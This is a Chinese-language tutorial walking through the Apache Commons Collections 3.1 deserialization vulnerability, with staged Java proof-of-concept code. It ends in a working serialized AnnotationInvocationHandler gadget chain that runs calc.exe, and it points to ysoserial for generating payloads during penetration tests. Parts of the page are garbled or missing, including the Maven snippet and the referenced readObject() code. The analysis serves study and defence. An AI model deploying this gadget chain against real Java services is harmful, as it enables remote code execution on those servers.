雖然這個元件的反序列化漏洞已經被很多文章進行了分析，但是這裡還是要記錄一下。畢竟，這對Java反序列化漏洞的發展意義重大。
Apache Commons Collections是Java應用程式開發中一個非常常用的工具庫，它增加了許多強大的資料結構，簡化了Java應用程式的開發，已經成為Java處理集合資料的公認標準。像是許多常見的應用程式如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具庫，當工具庫出現反序列化漏洞時，這些應用程式也受到了影響，這也是反序列化漏洞如此嚴重的原因。
jdk1.7.0_21 commons-collections-3.1.jar
Apache Commons Collections元件歷史版本下載位址：http: //archive.apache.org/dist/commons/collections/binaries/，或使用maven依賴：
#在Java反序列化漏洞利用工具ysoserial（https://github.com/frohoff/ysoserial）中已經整合了這個元件的漏洞利用payload；在滲透測試的時候，只需按照Java序列化資料的特徵（以十六進位aced或base64編碼格式的rO0AB開頭的資料）尋找Java反序列化的入口點，並根據Web應用猜測可能存在CommonsCollections組件，則可以直接使用ysoserial工具直接產生payload進行漏洞。
commons-collections commons-collectionscommons-collections
package org.apache.commons.collections;
public interface Transformer {
//对象转换
public Object transform(Object input);
}public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
...
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
...
}public class InvokerTransformer implements Transformer, Serializable {
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//简化后的transform()方法，通过反射机制调用对象的方法
public Object transform(Object input) {
...
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
...
}
}public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
...
}package orz.vuln.poc;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections {
public static void main(String[] args) throws Exception {
//通过InvokeTransformer类反射调用Runtime代码
InvokerTransformer invoker1 = new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null});
InvokerTransformer invoker2 = new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null});
InvokerTransformer invoker3 = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"});
invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
/*正常反射调用Runtime代码
Class clazz = Runtime.class;
Method m1 = clazz.getMethod("getRuntime", null);
Method m2 = clazz.getMethod("exec", String.class);
m2.invoke(m1.invoke(clazz, null), "calc.exe");
*/
}
}
package orz.vuln.poc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("foo");
}
}
package orz.vuln.poc;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonsCollections {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform("foo");
Map map = new HashMap();
map.put("foo", "bar");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
entry.setValue("test");
}
}AnnotationInvocationHandler类的readObject()方法如下所示：
由于该类不提供公开的构造方法进行初始化，所以，我们通过反射调用该类的构造方法，并使用恶意的TransformedMap对象进行初始化，就可以生成攻击payload。在执行entry.setValue()方法之前，需要满足一个判断条件
根据代码溯源可知，clazz变量是一个注解子类对象的属性值，如果要满足clazz变量不为null的话，在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性；在漏洞利用代码中我们使用了java.lang.annotation.Target注解，而该注解只有一个属性value，因此我们在map.put()时，需要保证key的值是value。
最终，完整漏洞利用代码如下：
package orz.vuln.poc;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonsCollections {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform("foo");
Map map = new HashMap();
map.put("value", "bar");//由于使用java.lang.annotation.Target，此处key值必须为value
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
//entry.setValue("test");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.close();
fos.close();
FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
fis.close();
}
}以上是Apache Commons Collections反序列化漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章！
